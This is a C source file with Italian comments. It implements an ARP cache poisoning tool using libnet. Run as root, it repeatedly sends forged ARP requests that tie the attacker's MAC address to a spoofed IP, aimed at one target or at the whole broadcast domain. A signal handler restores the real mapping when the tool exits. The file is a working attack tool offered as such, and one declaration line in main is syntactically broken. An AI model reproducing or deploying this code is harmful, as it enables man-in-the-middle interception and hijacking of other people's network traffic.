/*
   TODO
   Perfezionare il poisoning su broadcast, risolvere il problema delle arp reply da parte di fakeip
   Implementare il poisoning anche con arp reply
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <errno.h>
#include <netinet/ether.h>
#include <libnet.h>

#define ETH "eth0"
#define ETH_LEN 6

u_long          spoof_ip, target_ip;
char            err_buf[LIBNET_ERRBUF_SIZE];

void 
err_quit(libnet_t * l)
{

	fprintf(stderr, "error: %s\n", libnet_geterror(l));
	exit(0);

}

void 
usage(void)
{

	fprintf(stderr, "Usage: ./poison fakeip [ target ]\n");

}

void 
send_icmp_echo(u_long sip, u_long dip, u_char type)
{

	libnet_t       *l;

	if ((l = libnet_init(LIBNET_RAW4, NULL, err_buf)) == NULL)
		err_quit(l);

	if (libnet_build_icmpv4_echo(type, 0, 0, 666, 666,
				     NULL, 0, l, 0) < 0) {
		err_quit(l);
	}
	if (libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H, 0, 666, 0,
			64, IPPROTO_ICMP, 0, sip, dip, NULL, 0, l, 0) < 0) {
		err_quit(l);
	}
	if (libnet_write(l) < 0)
		err_quit(l);

}

int 
send_arpreq(u_char * sha, u_char * sip, u_char * dha)
{

	libnet_t       *l;
	u_char          tha[ETH_LEN];
	u_char          bha[ETH_LEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
	u_char         *tip;

	bzero(tha, ETH_LEN);
	tip = sip;

	if ((l = libnet_init(LIBNET_LINK, NULL, err_buf)) == NULL)
		err_quit(l);

	/*
           Solo i valori di sha e sip sono influenti al fine del poisoning,
           il valore di tip viene posto per semplicita pari a sip
         */
	if (libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REQUEST,
			     sha, sip, tha, tip, NULL, 0, l, 0) < 0) {
		err_quit(l);
	}
	/*
           Se dha non è NULL invia un ARP in unicast a quell'indirizzo fisico,
           altrimenti invia un ARP all'indirizzo fisico di broadcast
         */
	if (libnet_autobuild_ethernet((dha ? dha : bha), ETHERTYPE_ARP, l) < 0)
		err_quit(l);

	if (libnet_write(l) < 0)
		return -1;

	return 0;

}

u_char         *
ip2mac(u_long ip)
{

	int             i, fd;
	u_long          sip;
	struct arpreq   arp;
	struct sockaddr_in *sptr;
	u_char         *cptr;
	libnet_t       *l;

	if ((l = libnet_init(LIBNET_RAW4, NULL, err_buf)) == NULL)
		err_quit(l);

	if ((sip = libnet_get_ipaddr4(l)) < 0)
		err_quit(l);

	if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		fprintf(stderr, "socket error\n");
		exit(0);
	}
	sptr = (struct sockaddr_in *) & arp.arp_pa;
	bzero(sptr, sizeof(struct sockaddr_in));
	sptr->sin_family = AF_INET;
	strncpy(arp.arp_dev, ETH, sizeof(arp.arp_dev));
	memcpy(&sptr->sin_addr, &ip, sizeof(struct in_addr));

	if ((cptr = malloc(sizeof(u_char) * ETH_LEN)) == NULL) {
		fprintf(stderr, "malloc() error\n");
		exit(0);
	}
	bzero(cptr, ETH_LEN);

	ioctl(fd, SIOCGARP, &arp);

	for (i = 0; !memcmp(cptr, arp.arp_ha.sa_data, ETH_LEN) && i < 3; i++) {
		fprintf(stderr, "sending arp...\n");
		send_icmp_echo(sip, ip, ICMP_ECHO);
		sleep(1);
		ioctl(fd, SIOCGARP, &arp);
	}

	if (i == 3) {
		free(cptr);
		return NULL;
	}
	return memcpy(cptr, arp.arp_ha.sa_data, ETH_LEN);

}

void 
reset(int signo)
{

	int             i;
	u_char         *spoof_mac;
	u_char         *dest_mac = NULL;

	printf("signal\n");

	if ((spoof_mac = ip2mac(spoof_ip)) == NULL) {
		fprintf(stderr, "Impossibile risolvere il MAC address\n");
		exit(0);
	}
	if (target_ip)
		if ((dest_mac = ip2mac(target_ip)) == NULL) {
			fprintf(stderr, "Impossibile risolvere il MAC address\n");
			exit(0);
		}
	printf("%s\n", ether_ntoa((struct ether_addr *) spoof_mac));
	for (i = 0; i < 3; i++) {
		send_arpreq(spoof_mac, (u_char *) & spoof_ip, dest_mac);
		sleep(1);
	}
	free(spoof_mac);
	free(dest_mac);
	exit(0);

}

int 
main(int argc, char **argv)
{

	int             fd;
	struct ifreq    ifr;
	struct sigaction act;
	u_long          ip_src = 0, ip_dst = 0 i, ip_brd;
	struct libnet_ether_addr *mac_src;
	u_char         *mac_dst = NULL;
	libnet_t       *l;

	if (argc < 2 || argc > 3) {
		usage();
		exit(0);
	}
	if (geteuid()) {
		fprintf(stderr, "You need to be root\n");
		exit(0);
	}
	act.sa_handler = reset;
	sigemptyset(&act.sa_mask);
	act.sa_flags |= SA_RESTART;

	if (sigaction(SIGINT, &act, NULL) < 0) {
		fprintf(stderr, "sigaction error\n");
		exit(0);
	}
	if (sigaction(SIGTERM, &act, NULL) < 0) {
		fprintf(stderr, "sigaction error\n");
		exit(0);
	}
	if ((l = libnet_init(LIBNET_RAW4, NULL, err_buf)) == NULL)
		err_quit(l);

	if ((ip_src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) < 0)
		err_quit(l);

	if (argv[2])
		if ((ip_dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) < 0)
			err_quit(l);

	spoof_ip = ip_src;
	target_ip = ip_dst;

	if (ip_dst) {
		send_icmp_echo(ip_src, ip_dst, ICMP_ECHO);
		if ((mac_dst = ip2mac(ip_dst)) == NULL) {
			fprintf(stderr, "Impossibile risolvere il MAC address\n");
			exit(0);
		}
	} else {
		if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
			fprintf(stderr, "socket error\n");
			exit(0);
		}
		strncpy(ifr.ifr_name, ETH, IFNAMSIZ - 1);

		if (ioctl(fd, SIOCGIFBRDADDR, &ifr) == -1) {
			perror("ioctl");
			fprintf(stderr, "ioctl error\n");
			exit(0);
		}
		if ((ip_brd = libnet_name2addr4(l, inet_ntoa(((struct sockaddr_in *) & ifr.ifr_broadaddr)->sin_addr), LIBNET_RESOLVE)) < 0)
			err_quit(l);
		printf("broadcast: %s\n", inet_ntoa(((struct sockaddr_in *) & ifr.ifr_broadaddr)->sin_addr));
		send_icmp_echo(ip_src, ip_brd, ICMP_ECHO);
	}

	sleep(1);

	if ((mac_src = libnet_get_hwaddr(l)) == NULL)
		err_quit(l);

	for (;;) {
		if (send_arpreq((u_char *) mac_src, (u_char *) & ip_src, mac_dst) < 0)
			fprintf(stderr, "send_arpreq() error\n");
		else
			fprintf(stderr, "packet sent!\n");
		sleep(5);
	}

}

